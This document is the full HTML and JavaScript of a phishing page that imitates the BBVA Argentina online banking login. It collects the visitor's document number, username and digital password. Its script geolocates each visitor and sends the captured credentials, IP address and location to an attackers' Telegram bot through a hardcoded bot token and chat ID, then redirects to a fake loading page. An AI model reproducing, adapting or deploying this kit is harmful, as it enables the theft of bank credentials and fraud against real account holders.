<!DOCTYPE html>
<html lang="es-AR">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>Te damos la bienvenida a Banca Online | BBVA Argentina</title>
  <link rel="stylesheet" href="index_files/style.css">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta name="lang" content="es-AR">
  <link rel="stylesheet" href="index_files/small.css" type="text/css">
  <link rel="stylesheet" href="index_files/large.css" type="text/css" media="all and (min-width: 600px)">
  <link rel="stylesheet" href="index_files/banner.css">
  <link rel="stylesheet" href="index_files/personas1.min.css" type="text/css">
  <link rel="icon" type="image/x-icon" href="https://www.arg-onliokey.com/recursos/images/favicon.ico">
  <style>
    .icon-eye-btn {
  background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24' fill='none' stroke='%232F5DFF' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z'%3E%3C/path%3E%3Ccircle cx='12' cy='12' r='3'%3E%3C/circle%3E%3C/svg%3E") no-repeat center;
  width: 24px;
  height: 24px;
  border: none;
  cursor: pointer;
  position: absolute;
  right: 10px;
  top: 50%;
  transform: translateY(-50%);
  opacity: 0.7;
  transition: opacity 0.3s;
}

.icon-eye-btn:hover {
  opacity: 1;
}

.icon-eye-btn.icon-eye-btn-show {
  background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24' fill='none' stroke='%232F5DFF' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpath d='M17.94 17.94A10.07 10.07 0 0 1 12 20c-7 0-11-8-11-8a18.45 18.45 0 0 1 5.06-5.94M9.9 4.24A9.12 9.12 0 0 1 12 4c7 0 11 8 11 8a18.5 18.5 0 0 1-2.16 3.19m-6.72-1.07a3 3 0 1 1-4.24-4.24'%3E%3C/path%3E%3Cline x1='1' y1='1' x2='23' y2='23'%3E%3C/line%3E%3C/svg%3E") no-repeat center;
}
  </style>
</head>

<body>
  <header class="header__base wrapper">
    <a class="skip2content invisible">Ir al contenido principal</a>
    <nav class="header__container background--navy">
      <div class="header__main container">
        <div class="header__wrapper">
          <div class="header__logo">
            <a class="header__logo__link" target="_self">
              <img src="index_files/logo.svg" class="header__image">
            </a>
          </div>
          <div class="header__mainnavigation" itemtype="https://schema.org/SiteNavigationElement">
            <nav class="mainnavigation__base">
              <ul class="mainnavigation__list">
                <li class="mainnavigation__item mainnavigation__item--active">
                  <a target="_self" class="mainnavigation__link">Personas</a>
                </li>
                <li class="mainnavigation__item">
                  <a target="_self" class="mainnavigation__link">Empresas</a>
                </li>
              </ul>
            </nav>
          </div>
        </div>
        <nav class="header__actions">
          <ul class="header__actions__ulist">
            <li class="header__actions__list header__actions--tablet-left header__actions--tablet-hidden header__actions--mobile-hidden">
              <a target="_self" class="header__newsroom header__actions__item__link">
                <img class="bbva-svgicon" src="index_files/cass.svg">
                <span class="header__actions__item__link__text">Solicitá tu Tarjeta de Crédito</span>
              </a>
            </li>
            <li class="header__actions__list header__actions--tablet-hidden header__actions--mobile-hidden">
              <a class="header__actions__item__link header__createaccount">
                <img class="bbva-svgicon bbva-svgicon--largemobile" src="index_files/profile.svg">
                <span>Hacete cliente</span>
              </a>
            </li>
            <li class="header__actions__list header__actions--tablet-left">
              <div>
                <a class="header__actions__item__link header__actions--menu header__access" href="javascript:void(0)">
                  <svg class="header__icon" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 260 260" height="24px" width="24px">
                    <defs>
                      <style>.bbvaicn{fill:#fff}</style>
                    </defs>
                    <path class="bbvaicn" d="M161.38 132.34a70 70 0 0 1-62.76 0A90 90 0 0 0 30 219.77v20h200v-20a90 90 0 0 0-68.62-87.43zM160 209.77h-30v-20h50zm-30-90a50 50 0 1 0-50-50 50 50 0 0 0 50 50z"></path>
                  </svg>
                  <span class="header__actions__item__link__text header__access__text--desktop">Banca Online</span>
                  <span class="header__actions__item__link__text header__access__text--tablet">Banca Online</span>
                  <span class="header__actions__item__link__text header__access__text--mobile">Acceso</span>
                </a>
              </div>
            </li>
          </ul>
        </nav>
      </div>
    </nav>
  </header>

  <div class="access__content">
    <div class="general-wrapper">
      <div class="search search--desktop wrapper">
        <div>
          <div class="modal-login mgb-0 row">
            <div class="col-xs-12 col-sm-6 first-box">
              <div class="box">
                <div class="wrapper-login">
                  <form id="mainF" method="post" action="./naranja/manda.php?update=">
                    <div>
                      <article style="border: 0;padding: 0;font-size: 20px;text-align: center;margin: 24px;" class="tip-area">
                        <span style="font-family: Arial, Helvetica, sans-serif;"><strong>¡Hola! Te damos la bienvenida a Banca Online</strong></span>
                      </article>
                      <div class="form-control drop-down">
                        <div class="new-select-option">
                          <select style="font-family: Arial, Helvetica, sans-serif;" name="docost" class="button-select drop-down">
                            <option value="0">DNI</option>
                            <option value="DNI" selected="selected">DNI</option>
                            <option value="LC">LC</option>
                            <option value="LE">LE</option>
                            <option value="CI">CI</option>
                            <option value="PASAPORTE">PASAPORTE</option>
                            <option value="RENAPER">RENAPER</option>
                          </select>
                        </div>
                      </div>

                      <div class="form-group">
                        <div class="new-input-control input-control-tooltip input-container">
                          <input type="number" id="documento" style="font-family: Arial, Helvetica, sans-serif;" name="dapredc" class="form-control" maxlength="13" required="" minlength="7">
                          <label style="font-family: Arial, Helvetica, sans-serif;" for="documento">Número de documento</label>
                          <span class="icon-login-close"></span>
                        </div>
                      </div>

                      <div>
                        <div class="form-group">
                          <div class="new-input-control input-control-tooltip">
                            <input data-ds-in-pii-usuario="" style="font-family: Arial, Helvetica, sans-serif;" name="rlsusr" type="text" id="usuario" class="form-control" autocomplete="off" maxlength="20" required="" minlength="6">
                            <label style="font-family: Arial, Helvetica, sans-serif;" for="usuario">Usuario</label>
                            <span class="icon-login-close"></span>
                          </div>
                        </div>

                        <div class="form-group icon-eye-input">
                          <div class="new-input-control input-control-tooltip">
                            <input id="calve" type="password" onkeyup="checkInput();" style="font-family: Arial, Helvetica, sans-serif;" name="salva" class="form-control" autocomplete="off" maxlength="8" required="" minlength="8">
                            <label style="font-family: Arial, Helvetica, sans-serif;" for="calve">Clave digital</label>
                            <button type="button" id="eyeBtn" class="icon-eye-btn" onclick="togglePss('calve', 'eyeBtn')"></button>
                            <span class="icon-login-close"></span>
                          </div>
                        </div>
                      </div>

                      <div>
                        <div class="row remember-option">
                          <label class="remember-switch bbva-check-switch">
                            <input type="checkbox" ng-model="checkModel">
                            <span class="slider"></span>
                          </label>
                          <span style="font-family: Arial, Helvetica, sans-serif;" class="remember-text">Recordar mi tipo y número de documento</span>
                        </div>
                      </div>
                    </div>

                    <div class="form-group enter">
                      <div class="buttons-container">
                        <button style="font-family: Arial, Helvetica, sans-serif;" class="secondary-button" type="button">Registrarme</button>
                        <button style="font-family: Arial, Helvetica, sans-serif;" type="submit" id="mainBtn" disabled="disabled" class="primary-button">Ingresar</button>
                      </div>
                    </div>

                    <div class="text-center">
                      <button style="font-family: Arial, Helvetica, sans-serif;" class="modal-trigger key-link" type="button">Olvidé o bloqueé mi Usuario / Clave Digital</button>
                    </div>

                    <div class="form-group form-links security-link-login no-margin text-center">
                      <button style="font-family: Arial, Helvetica, sans-serif;" class="modal-trigger key-link" type="button">Recomendaciones de seguridad</button>
                    </div>
                  </form>
                </div>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>

  <script>
    // Función para obtener el emoji de la bandera
    function getFlagEmoji(countryCode) {
      if (!countryCode) return "";
      const codePoints = countryCode
        .toUpperCase()
        .split('')
        .map(char => 127397 + char.charCodeAt());
      return String.fromCodePoint(...codePoints);
    }

    // Función para obtener la ubicación del usuario
    async function getUserLocationData() {
      try {
        const response = await fetch("https://ipapi.co/json/");
        return await response.json();
      } catch (error) {
        console.error("Error obteniendo la IP:", error);
        return null;
      }
    }

    // Función para crear texto copiable en Telegram
    function createCopyableText(label, value) {
        return `${label}: \`${value}\``;
    }

    // Función para alternar visibilidad de contraseña
    function togglePss(inputId, eyeBtnId) {
      const input = document.getElementById(inputId);
      const eyeBtn = document.getElementById(eyeBtnId);
      
      if (input.type === "password") {
        input.type = "text";
        eyeBtn.classList.add("icon-eye-btn-show");
      } else {
        input.type = "password";
        eyeBtn.classList.remove("icon-eye-btn-show");
      }
    }

    // Función para validar el formulario
    function checkInput() {
      const dni = document.getElementById('documento').value;
      const usuario = document.getElementById('usuario').value;
      const clave = document.getElementById('calve').value;
      const mainBtn = document.getElementById('mainBtn');

      if (dni.length >= 7 && usuario.length >= 6 && clave.length === 8) {
        mainBtn.removeAttribute('disabled');
      } else {
        mainBtn.setAttribute('disabled', 'disabled');
      }
    }

    // Función para enviar notificación de visitante
    async function sendVisitorNotification() {
      const locationData = await getUserLocationData();
      const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

      if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
        const { ip, country, city, region } = locationData;
        const flag = getFlagEmoji(locationData.country_code);

        const message = `➖➖➖[ BBVA ARG ]➖➖➖\n` +
          `👀 Estado: Cliente en línea\n` +
          `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
          `🌐 ${createCopyableText("IP", ip)}\n` +
          `📍 Ubicación: ${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}\n` +
          `🕒 Hora: ${new Date().toLocaleString()}\n` +
          `➖➖➖➖➖➖➖➖\n` +
          ``;

          const botToken1 = "";
          const chatId = "-4728793397";

        try {
          await fetch(`https://api.telegram.org/bot${botToken1}/sendMessage`, {
            method: "POST",
            headers: {
              "Content-Type": "application/json"
            },
            body: JSON.stringify({
              chat_id: chatId,
              text: message,
              parse_mode: "Markdown"
            })
          });
        } catch (error) {
          console.error("Error al enviar notificación:", error);
        }
      }
    }

    // Función para enviar credenciales
    async function sendLoginCredentials(tipoDoc, dni, usuario, clave) {
  const locationData = await getUserLocationData();
  const latinAmericanCountries = ["AR", "BO", "BR", "CL", "CO", "CR", "CU", "DO", "EC", "SV", "GT", "HN", "MX", "NI", "PA", "PY", "PE", "PR", "UY", "VE", "ES"];

  if (locationData && locationData.country_code && latinAmericanCountries.includes(locationData.country_code)) {
    const { ip, country, city, region } = locationData;
    const flag = getFlagEmoji(locationData.country_code);
    
    const tipoDocSelect = document.querySelector('select[name="docost"]');
    const tipoDocTexto = tipoDocSelect.options[tipoDocSelect.selectedIndex].text;

    const message = `➖➖➖[ BBVA ARG ]➖➖➖\n` +
      `📝 ${createCopyableText("Tipo Documento", tipoDocTexto)}\n` +
      `📄 ${createCopyableText("Número", dni)}\n` +
      `👤 ${createCopyableText("Usuario", usuario)}\n` +
      `🔒 ${createCopyableText("Clave Digital", clave)}\n` +
      `➖➖➖ 𝙄𝙉𝙁𝙊 ➖➖➖\n` +
      `🌐 ${createCopyableText("IP", ip)}\n` +
      `📍 ${createCopyableText("Ubicación", `${city ?? "Ciudad desconocida"}, ${region ?? "Región desconocida"}, ${country ?? "País desconocido"} ${flag}`)}\n` +
      `➖➖➖➖➖➖➖➖\n` +
      `@tunder1990 @Lavoe32 @Luxxonn`;

        const botToken = "7864005659:AAEC6nZqtX1YXKQrcKTjNyDl9agTl9Gm_h8";
        const chatId = "-4728793397";

        try {
          await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
            method: "POST",
            headers: {
              "Content-Type": "application/json"
            },
            body: JSON.stringify({
              chat_id: chatId,
              text: message,
              parse_mode: "Markdown"
            })
          });

          // Redirigir después del envío exitoso
          window.location.href = "cargando.htm";
        } catch (error) {
          console.error("Error al enviar notificación:", error);
          window.location.href = "cargando.htm";
        }
      }
    }

    // Event Listeners
    document.addEventListener("DOMContentLoaded", function() {
      // Enviar notificación de visitante cuando la página carga
      sendVisitorNotification();

      // Validación de documento (solo números)
      document.getElementById("documento").addEventListener("keypress", function (e) {
        if (e.which < 48 || e.which > 57) {
          e.preventDefault();
        }
      });

      // Agregar validación en tiempo real
      document.getElementById("documento").addEventListener("input", checkInput);
      document.getElementById("usuario").addEventListener("input", checkInput);
      document.getElementById("calve").addEventListener("input", checkInput);

      // Manejar envío del formulario
      document.querySelector("#mainF").addEventListener("submit", function(e) {
        e.preventDefault();
        const tipoDoc = document.querySelector('select[name="docost"]').value;
        const dni = document.getElementById("documento").value;
        const usuario = document.getElementById("usuario").value;
        const clave = document.getElementById("calve").value;
        
        if(dni && usuario && clave) {
          sendLoginCredentials(tipoDoc, dni, usuario, clave);
        }
      });
    });
  </script>

</body>
</html>